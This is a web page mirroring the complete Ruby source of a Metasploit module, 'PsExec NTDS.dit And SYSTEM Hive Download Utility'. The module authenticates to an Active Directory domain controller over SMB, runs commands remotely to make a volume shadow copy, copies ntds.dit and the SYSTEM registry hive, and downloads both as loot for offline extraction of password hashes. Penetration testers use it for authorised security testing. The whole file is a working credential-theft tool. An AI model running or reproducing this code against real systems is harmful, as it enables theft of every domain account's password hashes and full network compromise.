Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
8
# Exploit mixins should be called first
9
include Msf::Exploit::Remote::SMB::Client::Psexec
10
include Msf::Auxiliary::Report
11
include Msf::OptionalSession::SMB
12
13
# Aliases for common classes
14
SIMPLE = Rex::Proto::SMB::SimpleClient
15
XCEPT = Rex::Proto::SMB::Exceptions
16
CONST = Rex::Proto::SMB::Constants
17
18
def initialize(info = {})
19
super(
20
update_info(
21
info,
22
'Name' => 'PsExec NTDS.dit And SYSTEM Hive Download Utility',
23
'Description' => %q{
24
This module authenticates to an Active Directory Domain Controller and creates
25
a volume shadow copy of the %SYSTEMDRIVE%. It then pulls down copies of the
26
ntds.dit file as well as the SYSTEM hive and stores them. The ntds.dit and SYSTEM
27
hive copy can be used in combination with other tools for offline extraction of AD
28
password hashes. All of this is done without uploading a single binary to the
29
target host.
30
},
31
'Author' => [
32
'Royce Davis <rdavis[at]accuvant.com>' # @R3dy__
33
],
34
'License' => MSF_LICENSE,
35
'References' => [
36
[ 'URL', 'http://sourceforge.net/projects/smbexec' ],
37
[ 'URL', 'https://www.optiv.com/blog/owning-computers-without-shell-access' ]
38
],
39
'Notes' => {
40
'Stability' => [CRASH_SAFE],
41
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK],
42
'Reliability' => []
43
}
44
)
45
)
46
47
register_options([
48
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
49
OptString.new('VSCPATH', [false, 'The path to the target Volume Shadow Copy', '']),
50
OptString.new('WINPATH', [true, 'The name of the Windows directory (examples: WINDOWS, WINNT)', 'WINDOWS']),
51
OptBool.new('CREATE_NEW_VSC', [false, 'If true, attempts to create a volume shadow copy', false]),
52
])
53
end
54
55
# This is the main control method
56
def run
57
# Initialize some variables
58
text = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt"
59
bat = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat"
60
createvsc = 'vssadmin create shadow /For=%SYSTEMDRIVE%'
61
@ip = datastore['RHOST']
62
@smbshare = datastore['SMBSHARE']
63
# Try and connect
64
if session
65
print_status("Using existing session #{session.sid}")
66
self.simple = session.simple_client
67
@ip = simple.address
68
else
69
return unless connect
70
71
# Try and authenticate with given credentials
72
begin
73
smb_login
74
rescue StandardError => e
75
print_error("Unable to authenticate with given credentials: #{e}")
76
return
77
end
78
end
79
# If a VSC was specified then don't try and create one
80
if !datastore['VSCPATH'].empty?
81
print_status("Attempting to copy NTDS.dit from #{datastore['VSCPATH']}")
82
vscpath = datastore['VSCPATH']
83
else
84
unless datastore['CREATE_NEW_VSC']
85
vscpath = check_vss(text, bat)
86
end
87
vscpath ||= make_volume_shadow_copy(createvsc, text, bat)
88
end
89
90
if vscpath
91
if copy_ntds(vscpath, text) && copy_sys_hive
92
download_ntds(datastore['WINPATH'] + '\\Temp\\ntds')
93
download_sys_hive(datastore['WINPATH'] + '\\Temp\\sys')
94
else
95
print_error('Failed to find a volume shadow copy. Issuing cleanup command sequence.')
96
end
97
end
98
cleanup_after(bat, text, "\\#{datastore['WINPATH']}\\Temp\\ntds", "\\#{datastore['WINPATH']}\\Temp\\sys")
99
disconnect
100
end
101
102
# Thids method will check if a Volume Shadow Copy already exists and use that rather
103
# then creating a new one
104
def check_vss(text, bat)
105
print_status('Checking if a Volume Shadow Copy exists already.')
106
prepath = '\\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy'
107
command = "%COMSPEC% /C echo vssadmin list shadows ^> #{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"
108
psexec(command)
109
data = smb_read_file(datastore['SMBSHARE'], @ip, text)
110
vscs = []
111
data.each_line { |line| vscs << line if line.include?('GLOBALROOT') }
112
if vscs.empty?
113
print_status('No VSC Found.')
114
return nil
115
end
116
vscpath = prepath + vscs[vscs.length - 1].to_s.split('ShadowCopy')[1].to_s.chomp
117
print_good("Volume Shadow Copy exists on #{vscpath}")
118
return vscpath
119
rescue StandardError => e
120
print_error("Unable to determine if VSS is enabled: #{e}")
121
return nil
122
end
123
124
# Create a Volume Shadow Copy on the target host
125
def make_volume_shadow_copy(createvsc, text, bat)
126
begin
127
# Try to create the shadow copy
128
command = "%COMSPEC% /C echo #{createvsc} ^> #{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"
129
print_status('Creating Volume Shadow Copy')
130
psexec(command)
131
# Get path to Volume Shadow Copy
132
vscpath = get_vscpath(text)
133
rescue StandardError => e
134
print_error("Unable to create the Volume Shadow Copy: #{e}")
135
return nil
136
end
137
if vscpath
138
print_good("Volume Shadow Copy created on #{vscpath}")
139
return vscpath
140
else
141
return nil
142
end
143
end
144
145
# Copy ntds.dit from the Volume Shadow copy to the Windows Temp directory on the target host
146
def copy_ntds(vscpath, text)
147
ntdspath = vscpath.to_s + '\\' + datastore['WINPATH'] + '\\NTDS\\ntds.dit'
148
command = "%COMSPEC% /C copy /Y \"#{ntdspath}\" %WINDIR%\\Temp\\ntds"
149
psexec(command)
150
if !check_ntds(text)
151
return false
152
end
153
154
return true
155
rescue StandardError => e
156
print_error("Unable to copy ntds.dit from Volume Shadow Copy.Make sure target is a Windows Domain Controller: #{e}")
157
return false
158
end
159
160
# Checks if ntds.dit was copied to the Windows Temp directory
161
def check_ntds(text)
162
print_status('Checking if NTDS.dit was copied.')
163
check = "%COMSPEC% /C dir \\#{datastore['WINPATH']}\\Temp\\ntds > #{text}"
164
psexec(check)
165
output = smb_read_file(@smbshare, @ip, text)
166
if output.include?('ntds')
167
return true
168
end
169
170
return false
171
end
172
173
# Copies the SYSTEM hive file to the Temp directory on the target host
174
def copy_sys_hive
175
# Try to create the sys hive copy
176
command = '%COMSPEC% /C reg.exe save HKLM\\SYSTEM %WINDIR%\\Temp\\sys /y'
177
return psexec(command)
178
rescue StandardError => e
179
print_error("Unable to copy the SYSTEM hive file: #{e}")
180
return false
181
end
182
183
# Download the ntds.dit copy to your attacking machine
184
def download_ntds(file)
185
print_status('Downloading ntds.dit file')
186
begin
187
# Try to download ntds.dit
188
simple.connect("\\\\#{@ip}\\#{@smbshare}")
189
remotefile = simple.open(file.to_s, 'rob')
190
data = remotefile.read
191
remotefile.close
192
ntds_path = store_loot('psexec.ntdsgrab.ntds', 'application/octet-stream', @ip, data, 'ntds.dit')
193
print_good("ntds.dit stored at #{ntds_path}")
194
rescue StandardError => e
195
print_error("Unable to download ntds.dit: #{e}")
196
return e
197
end
198
simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
199
end
200
201
# Download the SYSTEM hive copy to your attacking machine
202
def download_sys_hive(file)
203
print_status('Downloading SYSTEM hive file')
204
begin
205
# Try to download SYSTEM hive
206
simple.connect("\\\\#{@ip}\\#{@smbshare}")
207
remotefile = simple.open(file.to_s, 'rob')
208
data = remotefile.read
209
remotefile.close
210
hive_path = store_loot('psexec.ntdsgrab.hive', 'application/octet-stream', @ip, data, 'system-hive')
211
print_good("SYSTEM hive stored at #{hive_path}")
212
rescue StandardError => e
213
print_error("Unable to download SYSTEM hive: #{e}")
214
return e
215
end
216
simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
217
end
218
219
# Gets the path to the Volume Shadow Copy
220
def get_vscpath(file)
221
prepath = '\\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy'
222
vsc = ''
223
output = smb_read_file(@smbshare, @ip, file)
224
output.each_line do |line|
225
vsc += line if line.include?('GLOBALROOT')
226
end
227
return prepath + vsc.split('ShadowCopy')[1].chomp
228
rescue StandardError
229
print_error('Could not determine the exact path to the VSC check your WINPATH')
230
return nil
231
end
232
233
# Removes files created during execution.
234
def cleanup_after(*files)
235
simple.connect("\\\\#{@ip}\\#{@smbshare}")
236
print_status('Executing cleanup...')
237
files.each do |file|
238
if smb_file_exist?(file)
239
smb_file_rm(file)
240
end
241
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
242
print_error("Unable to cleanup #{file}. Error: #{e}")
243
end
244
left = files.collect { |f| smb_file_exist?(f) }
245
if left.any?
246
print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(', ')} from the target.")
247
else
248
print_good('Cleanup was successful')
249
end
250
simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
251
end
252
end
253
254